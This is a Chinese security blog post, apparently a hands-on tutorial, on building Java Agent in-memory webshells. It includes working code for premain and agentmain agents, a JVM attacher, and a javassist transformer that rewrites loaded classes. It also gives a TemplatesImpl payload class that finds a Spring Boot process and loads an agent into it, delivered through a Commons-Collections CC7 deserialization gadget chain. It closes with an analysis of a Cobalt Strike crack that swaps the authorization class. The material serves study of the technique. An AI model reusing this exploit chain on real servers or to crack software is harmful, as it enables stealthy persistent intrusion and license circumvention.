Java Agent内存马–从入门到踩坑
还是,再学点java。。。
主要是就着上次复现看看java内存马的实现,然后就看到了其中一种的java agent注入(但实际使用的多的应该还是直接反射调函数加filter,agent的操作要先写一个agent jar包上去,麻烦太多)
这个东西之前也见到过,两次,一次是burp破解,一次是cobalt strike破解
那个时候的理解大概就是这个玩意能注入进程进行hook之类的操作,这回仔细看看吧
简易环境搭建
就跟着先知上这篇文章吧。写的挺详细的
Java Agent 从入门到内存马
整体思路也是跟着这篇文章复制粘贴(当然还是自己动手写两笔,rmb神仙说了要多动手而不是多看文章)
premain && agentmain
java agent的实现方式就由如上两个函数展示。一个是在main执行之前执行,另一个是attach一个agent上去,临时执行agent函数
premain
最好理解的入门操作环节
premain就是在运行的时候指定-javaagent:xxx.jar
,然后在那个jar包里写好一个premain的class,MANIFEST.MF里指明premain类。跑起来的时候就会在进入实际main函数之前先调用一下premain方法(这个名字也很明显),说起来莫名的想到bypass disable function时的LD_PRELOAD操作
这种手法估计在破解上使用的多,攻击上应该不好使,毕竟攻击的服务肯定已经跑起来了,不可能再让你加个参数重启一下
package org.z33.agenttest;
import java.lang.instrument.Instrumentation;
public class PreDemo {
public static void premain(String args, Instrumentation inst) {
System.out.println("hello I'm premain agent!!!");
}
}
MANIFEST.MF
Manifest-Version: 1.0
Premain-Class: org.z33.agenttest.PreDemo
Agent-Class: org.z33.agenttest.AgentDemo
最后有一个空的换行(用idea的话没有换行会报错)
agentmain
相对实用的操作,在获取到了已经运行了的java进程后可以直接attach到那个进程上然后对其进行修改
这个操作,略微的有些麻烦,踩了一点小小的坑
agentmain的Class倒是和premain没什么区别,但是要额外创建一个attacher来把我们的agentmain给附着上去
理论上来说把attacher写到另一个项目里可能会更好一点,我这里直接偷懒全都塞到一个项目里
attacher
package org.z33.agenttest;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Attacher {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String id = args[0];
String jarName = args[1];
VirtualMachine vm = VirtualMachine.attach(id);
vm.loadAgent(jarName);
vm.detach();
System.out.println("finished");
}
}
agentmain
package org.z33.agenttest;
import java.lang.instrument.Instrumentation;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("attach success");
}
}
现在就可以运行需要被attach的jar包,找到pid(可以用ManagementFactory.getRuntimeMXBean().getName()
来获取pid),运行attach jar进行agent注入
Instrumentation
这个才是java agent的核心,就是premain和agentmain的第二个参数
Instrumentation是JVMTIAgent(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果。
通过使用ClassFileTransformer
修改已经加载的类,无敌
有几个常用方法:
- getAllLoadedClasses 获取所有以及被加载的类
- isModifiableClass 查看这个类能不能被重新加载
- addTransformer 增加一个类transformer,之后所有加载的类都会被该transformer拦截
- retransformClasses 将已经加载过的类进行修改
- removeTransformer 删除已经注册的transformer
进行修改点的核心就是这里的ClassFileTransformer
,其可以对java进行字节码层面的修改。说到修改字节码,就应该反应过来javassist,就算没反应过来也应该想起经典templateImpl中生成payload的操作,用的就是这个技术
需要使用ClassPool cp = ClassPool.getDefault();来获取初始的classpool,而classpool是CtClass的容器,所有的CtClass应该从ClassPool中获取。对字节码的修改就是在CtClass和CtMethod上进行的
然后经典insertBefore直接注入代码
首先简单修改一下我们的agent
package org.z33.agenttest;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) throws UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
// 判断类是否已经加载
for (Class clazz : classes) {
if (clazz.getName().equals(TransformerDemo.editClassName)) {
System.out.println("Class "+ TransformerDemo.editClassName + " found");
// 添加 Transformer
inst.addTransformer(new TransformerDemo(), true);
// 触发 Transformer
inst.retransformClasses(clazz);
}
}
}
}
现在agent的作用就是引入我们的transformer了,再实现一个transformer(这里先知那个文章的代码感觉写错了不少地方。。。不知道什么情况,可能防止后人复制粘贴吗。。。)
使用喜闻乐见的insertBefore,能防止破坏代码逻辑
package org.z33.agenttest;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
public class TransformerDemo implements ClassFileTransformer {
public static final String editClassName = "com.z33.test.Demo";
public static final String editMethodName = "hello";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool cp = ClassPool.getDefault();
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
}
CtClass ctc = cp.get(editClassName);
CtMethod method = ctc.getDeclaredMethod(editMethodName);
String code = "System.out.println(\"hello before world\");";
method.insertBefore(code);
byte[] bytes = ctc.toBytecode();
ctc.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
return new byte[0];
}
}
理论上就能让hello world项目在输出hello world之前输出hello before world了(事实上也是这样的,就是从代码到成功运行踩了一万个坑)
agent到内存马
这个是今天学习的主要目的。先知那篇文章到后面简单的讲述了内存马的注入过程,就是找到目标函数并用javassist进行字节码修改。整体似乎没有太大的问题。不过与此同时我还看了ha1师傅的博客,他的博客里提到了一个我觉得应该考虑的问题。
因为内存马注入实际上是在目标上执行我们的attacher,而该类在一般情况下不会被加载,但事实上该类又普遍存在于自带环境中,所以在attacher中应该进行额外的类加载以确保目标可以进行agent注入
复制一下代码并简单魔改,他的那个加载路径有点怪,把java home的jre替换成lib?我感觉应该就是在java home后面加上lib。。。
这样子就能保证不给自己加一堆buff也能运行了,也保证了远程直接用templateImpl之类的东西打的时候能不会出现class not found之类的事情
templateImpl的payload类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;
public class AgentAttachClass extends AbstractTranslet {
static {
try {
File toolsPath = new java.io.File(System.getProperty("java.home") + java.io.File.separator + "lib" + java.io.File.separator + "tools.jar");
System.out.println(System.getProperty("java.home"));
System.out.println(toolsPath.toURI().toURL());
URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
// 利用URLClassloader获取tools.jar
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
// 反射获取VirtualMachineDescriptor和VirtualMachine
Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine, null);
//反射获取VirtualMachine.list()
System.out.println("Running JVM Start..");
for (int i = 0; i < list.size(); i++) {
Object o = list.get(i);
Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
String name = (String) displayName.invoke(o, null);
// 反射获取displayName
System.out.println("jvm name: "+name);
if (name.contains("org.z33.springdemo.SpringDemoApplication")) {
System.out.println("target found");
// 对比name是否与需要注入的一致
Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
String id = (java.lang.String) getId.invoke(o, null);
// 反射获取pid
System.out.println("id >>> " + id);
Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[]{java.lang.String.class});
Object vm = attach.invoke(o, new Object[]{id});
// 将 jvm 虚拟机的 pid 号传入 attach 来进行远程连接
Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[]{java.lang.String.class});
// String path = "D:\\Java\\projects\\JavaAgentTest\\out\\artifacts\\JavaAgentTest_jar\\JavaAgentTest.jar";
String path = "D:\\Java\\projects\\JavaAgentTest\\target\\JavaAgentTest-1.0-SNAPSHOT.jar";
loadAgent.invoke(vm, new Object[]{path});
// 使用loadAgent注入
Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
detach.invoke(vm, null);
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
不过这个路径不知道是不是不同环境会各自不同呢?
以及还需要考虑的一个问题是还得提前把这个agent jar包写到目标服务器上。有点麻烦(不过一开始的初衷只是学一下agent技术的来着,内存马我看大伙都说直接反射调用一些奇怪的接口加filter之类的东西写内存马的,和这种直接改字节码的还是有所区别)
SprintBoot不会写,幸好idea自带超级模板,这里直接复制ha1师傅的代码
把CC7和TemplateImpl缝合一下打TemplateImpl。为什么要缝合一下呢,我也不知道,就是想缝合一下试试
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CCTemplateImpl {
public static Object getPayload(final String command) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClazz = pool.get(AgentAttachClass.class.getName());
byte[] classBytes = ctClazz.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templatesImpl = TemplatesImpl.class.newInstance();
Field bf = TemplatesImpl.class.getDeclaredField("_bytecodes");
bf.setAccessible(true);
bf.set(templatesImpl, targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
Field nf = TemplatesImpl.class.getDeclaredField("_name");
nf.setAccessible(true);
nf.set(templatesImpl, "name");
Field cf = TemplatesImpl.class.getDeclaredField("_class");
cf.setAccessible(true);
cf.set(templatesImpl, null);
Field tf = TemplatesImpl.class.getDeclaredField("_tfactory");
tf.setAccessible(true);
tf.set(templatesImpl, new TransformerFactoryImpl());
final Transformer[] rubbish = new Transformer[]{null};
//等会反射改,不然又打自己
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Transformer transformerChain = new ChainedTransformer(rubbish);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = transformerChain.getClass().getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
return hashtable;
}
}
这里踩了一个究极大坑,后续另开文章细说
照抄ha1师傅的agentmain和Transformer即可打通
踩坑
果然要多动手,一动手就踩了一万个坑。。。纯看文章不动手就不会踩坑了
启动时com.sun.tools not found
最先踩的坑是maven引入不了com.sun.tools
这个包(理论上来说com.sun不应该是属于究极自带的包吗。。。)然后通过谷歌解决
<dependency>
<groupId>com.sun</groupId>
<artifactId>tools</artifactId>
<version>1.8</version>
<scope>system</scope>
<systemPath>${java.home}/../lib/tools.jar</systemPath>
</dependency>
然后打包到jar(说起来这个打包的时候也没把tools.jar打包进去,伏笔)
运行时超级报错AttachNotSupportedException Class not found。继续谷歌,说需要加一个buff,指定路径吧就-Xbootclasspath/a:D:\Java\jdk\jre1.8.1_311\lib\tools.jar
说起来我并不是很清楚我的java环境安装时发生了什么,我装的是jdk,然后安装过程中又单独让我再装一个jre,然后我的jdk里面有一个完整的jre,又有一个单独的jre,然后把我的环境变量指向了jre。嗯?
然后发现jdk下面的jre里有tools.jar,把他复制出来放到jre1.8.1_311下。。。太怪了
然后继续报错Provider sun.tools.attach.WindowsAttachProvider could not be instant
搜一下说是又缺dll,估计是已经到了native method的地步了。然后继续把jdk下的jre里的bin下的dll复制到外面的jre的bin目录下,跑起来了。感觉,是不是当初装环境的时候直接不装那个jre就用jdk下的jre然后环境变量也是对的就没有这么多复制粘贴的事了,所以当初那个官方installer为什么要单独又整一个jre呢?
然后使用这么长的buff成功把agentmain attach上去了
java -Xbootclasspath/a:D:\Java\jdk\jre1.8.1_311\lib\tools.jar -cp JavaAgentTest.jar org.z33.agenttest.Attacher 20 236 D:\Java\projects\JavaAgentTest\out\artifacts\JavaAgentTest_jar\JavaAgentTest.jar
这里还是有几个小坑,比如attach时指定的这个路径是相对于正在运行的java应用的,而不是我们的attacher,所以最好直接填绝对路径。毕竟是先attach到应用的jvm上再去load agent,所以应当如此
还有一个点是load了这个agent之后还是可以重复load,但是每load一次只是重新调用一遍agentmain方法,就算重新修改了agentmain方法再重新load也不会修改掉已经load进内存的agent,只是重新触发
解决了运行坑继续踩依赖坑
idea顶部栏和maven编译不同
因为写的简单hello world肯定不会自带javassist依赖,所以注入之后究极报错class not found。我一开始还在想我在maven中添加依赖了啊,为什么跑不起来呢。然后直接解压打包的jar,发现里面一无所有。经过简单的思索(排队打卡的时候无聊),我意识到可能idea顶部栏的build artifacts和maven的package可能不是一个东西。伏笔回收。原来还有这种事情,我是傻逼
简单搜索并配置后使用maven的package操作完成带依赖打包
带依赖打包的方法挺多的,随便复制粘贴一个(这里是将被注入的jar包把依赖打进去,agent那个jar包其实不需要打依赖,本身就不是在这里运行)
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
<configuration>
<archive>
<manifest>
<mainClass>
com.z33.test.Demo
</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</execution>
</executions>
</plugin>
</plugins>
</build>
从此以后只用maven配置的打包。。。果然还是要动手,顺便添加一下mainclass,免得次次-cp指定半天
然后如果要用maven打包agent的话,原来写的MANIFEST.MF也没用了,可以通过两种方式进行魔改,一个是再引用一下之前写的MF,另一个是直接写配置项,直接引一下写好的吧。配置项花里胡哨的写一堆挺麻烦
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
</configuration>
</plugin>
</plugins>
</build>
maven package使agent无效
躺了一会,又踩了一个非常奇怪的坑。用上述maven操作打包的jar包无法被识别为agent包。报错和ha1师傅的并不一致,直接是无法打开或没有agent属性。简单看了下用顶部栏build的包和maven build的包的区别,MANIFEST.MF差不多一致,但maven编译的在META-INF下多一个maven目录。然后把他删了就又能把maven编译的这个jar当agent用了。什么玩意啊?
然后把maven里关于MANIFEST的配置从手写entry改成引用已经写好的MANIFEST重新package了一下又行了。并且也不用删那个maven目录了。并不知道发生了什么,但大抵就是很玄幻,未细究。。。。太奇怪了就
MANIFEST具体配置
似乎没有看到谁有提到过要加这句的,但是我在SpringBoot环境下不加这句会显示adding retransformable transformers is not supported in this environment
,所以加上Can-Retransform-Classes: true
严肃的问题
如果远程环境没有自带javassist怎么办。。。。无论是一开始的简单hello测试,还是后来的SpringBoot内存马注入,都是我手动引入了javassist的。(一开始以为SprintBoot这种大框架可能内置了没引入,打了半天打不动,并且也不会报错说class not found,最后感觉这里有问题加了依赖才打通)
这个如果本身不属于jdk自带的依赖也没法像上面的反射加载tool.jar一样打啊。也没看到人提起过,麻
解决了,我是傻逼
感谢feng@Dest0g3师傅的指正
因为agent.jar是附着到目标jvm上运行的,把javassist打包进agent.jar就行了。。。我当初还说就是因为附着运行所以不需要打包依赖呢。。。实际上缺依赖的时候自己打好包就不依赖远程了。
并且agent的利用本身也就需要把jar包传到远程服务器上吧?实在不行也可以再传一个lib然后用classloader加载?再不济还能urlclassloader再远程加载一下之类的吧
把上述打包依赖和添加MANIFEST的操作缝合一下maven打包
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<executions>
<execution>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
<configuration>
<archive>
<manifestFile>src/main/resources/META-INF/MANIFEST.MF</manifestFile>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
</execution>
</executions>
</plugin>
看看CS的破解
把破解用的hook.jar拉下来反编译。也就两个类,一个hook,因为破解是启动的时候直接附着起来,所以直接写的premain,另一个类就是我们的transformer
直接把认证类替换成了他的字节码
public byte[] transform(ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
if (className.equals("common/Authorization")) {
String base64class = "yv66vgAAADQBCQo......";
System.out.println("Found desired class: " + className);
classfileBuffer = Base64.getDecoder().decode(base64class);
}
return classfileBuffer;
}
然后还配了几个看起来像是工具的函数。写个破烂还原字节码(实际上就是把字节码写进文件再idea反编译)
public static void main(String[] args) throws InterruptedException, IOException {
String base64class = "yv66vgAAAD.......";
byte[] code = Base64.getDecoder().decode(base64class);
FileOutputStream fileOutputStream = new FileOutputStream("result.class");
fileOutputStream.write(code);
fileOutputStream.close();
}
然后并没有看懂什么逻辑。。。在认证中还进行了一堆额外的数据分析,要我说这种东西不应该直接干什么都返回true然后时间调个forever就行了么